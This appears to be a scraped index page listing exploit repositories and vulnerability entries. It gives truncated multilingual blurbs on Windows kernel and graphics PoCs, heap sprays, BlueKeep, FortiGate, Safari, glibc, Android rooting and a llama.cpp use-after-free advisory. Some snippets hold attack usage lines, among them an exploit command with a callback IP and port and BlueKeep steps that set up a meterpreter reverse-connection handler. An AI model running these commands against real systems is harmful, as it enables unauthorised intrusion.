CVE-2022-37969

CVE-2022-37969 Windows ローカル特権昇格 PoC 著者: Ricardo Narvaja & Daniel Kazimirow Solid デモンストレーション目的のみ。完全なエクスプロイトは脆弱な Windows 11 21H2 システムで動作します。 以前にZscaler が公開した情報に基づく機能的な PoC 解説記事はこちら: CVE-2022-37969 Windows Common Log File System ドライバのローカル特権昇格を理解する 使用方法 CVE-2022-37969 Windows Common Log File System...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Windows 그래픽 구성 요소 RCE x64 악성 JPEG를 통한 치명적 원격 코드 실행 – Windows 11 24H2 미패치 CVSS 9.8 – 권한 불필요, 상호작용 불필요 CVE-2025-50165 - windowscodecs.dll untrusted pointer dereference Discovered by Zscaler ThreatLabz Patched: November 2025 KB5040442 기능 전체 x64 null-free 셸코드 calc.exe 실행기 – 169바이트...

Ruby_Pricise_Heap_Spray

RubyPriciseHeapSpray Rubyの文字列を使って、win7環境で精密なヒープスプレーを実行します ps. 0c0c0c0c スプレー関数を呼び出す回数に応じて、最後の反復回数を調整する必要があります。これはRubyの動作によるものです....基本的に、Rubyは特定のサイズのヒープ割り当ての使用率が100%になった場合、そのサイズのヒープ割り当てをすべて削除することを決定します 🙂...

CVE-2026-42945-NGINX-Rift-Toolkit

CVE-2026-42945 Nginx Rift 취약점 툴킷 CVE-2026-42945nginx의 치명적인 RCE 취약점를 스캔, 패치, 테스트하기 위한 종합 툴킷 목차 개요 CVE 세부 정보 기능 툴킷 구성 요소 요구 사항 설치 사용법 워크플로 예시 보안 고려 사항 문제 해결 기여 개요 이 툴킷은 CVE-2026-42945nginx 메인라인 1.26.3 미만, 안정판 1.24.1 미만에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점를 스캔, 패치, 테스트하기 위한 포괄적인 도구를 제공합니다. 이 취약점은 힙 스프레이 기법...

CVE-2025-62215_Windows_Kernel_PE

CVE-2025-62215 익스플로잇 PoC 원본 코드 출처: https://github.com/dexterm300 🧨 설명 이 저장소에는 CVE-2025-62215 에 대한 개념 증명 익스플로잇이 포함되어 있습니다. 이 취약점은 Windows 커널에서 커널 객체 핸들을 동시에 조작하여 트리거할 수 있는 경쟁 조건race condition 취약점입니다. 특정 조건에서는 이중 해제double-free가 발생하며, 이를 악용하여 SYSTEM 으로 로컬 권한 상승 을 달성할 수 있습니다. 이 익스플로잇은 다음 방식으로 작동합니다: ...

CVE-2023-4911

CVE-2023-4911 - Looney Tunables Это пока очень грубая демонстрация концепции для CVE-2023-4911. На данный момент я проверил её работу только на Ubuntu 22.10 kinetic. Текущая версия эксплойта содержит изрядное количество "магических" смещений. Если у вас есть предложения по улучшению формирования...

CVE-2023-27997

CVE-2023-27997 Данный код эксплуатирует FortiGate VM64 7.2.0. обратите внимание, что код написан очень глупым способом. Доказательство концепции $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - no...

cve-2019-0708_bluekeep_rce

Запустите msfconsole meterpreter/multi/handler для прослушивания на 192.168.116.133:6000 2. cd rdesktop-1.5.0 && make 3. Измените config, настройте IP и порт для обратного подключения: 192.168.116.133 6000 4. Выполните ./heapspray 192.168.116.134 134 — адрес XP, память = 2 ГБ 5. msfconsole...

0day-security-software-vulnerability-analysis-technology

0day-security-software-vulnerability-analysis-technology Примечания по использованию прилагаемых материалов к книге «0day Security: технология анализа уязвимостей программного обеспечения второе издание» Материалы из пакета предназначены исключительно для учебных целей. Любая организация, частное...

Foxit-Precise-Heap-Spray

このリポジトリには README がありません。...

CTT-Vsyslog-Vortex-CVE-2023-6246

CTT-Vsyslog-Vortex-CVE-2023-6246 CVE-2023-6246 glibc vsysloginternal эксплуатация переполнения кучи с использованием Convergent Time Theory α = 0.0302011. 33-слойный временной heap spray + фазово-синхронизированный триггер для надежного локального повышения привилегий. README.md CTT-Vsyslog-Vorte...

RootMyVivo-Exploit

RMV Exploit — CVE-2026-43499 для vivo и iQOO Форк boxiaolanya2008/CVE-2026-43499-Neo11Plus, переработанный под RootMyVivo. Убрано всё, что ломало телефон после рута, оставлено ядро эксплойта с проверенными таймингами. English · 中文 Цели Каталог| Устройство| Ядро| Откуда оффсеты ---|---|---|---...

cve-2021-29627

CVE-2021-29627 버그를 트리거하는 일부 코드 macsetfd 스프레이 포함. 다만 스프레이 대상이 필요합니다...

CVE-2018-4121

CVE-2018-4121 — POC RCE-эксплойт для Safari Wasm Sections от MWR Labs c 2018 Детали этот POC-эксплойт нацелен только на Safari 11.0.3 13604.5.6 на macOS 10.13.3 17D47. скомпилируйте payload по вашему выбору в виде dylib с конструктором запустите python filetojsarray.py your.dylib payload.js...

CVE-2018-4121

CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit от MWR Labs c 2018 Подробности этот proof-of-concept эксплойт нацелен только на Safari 11.0.3 13604.5.6 на macOS 10.13.3 17D47. скомпилируйте выбранную нагрузку как dylib с конструктором запустите python filetojsarray.py your.dylib payload.js...

Exploit for Use After Free in Linux Linux_Kernel

RMV Exploit — чистая сборка CVE-2026-43499 для iQOO Neo 11 PD...

SUSE CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

DEBIAN-CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...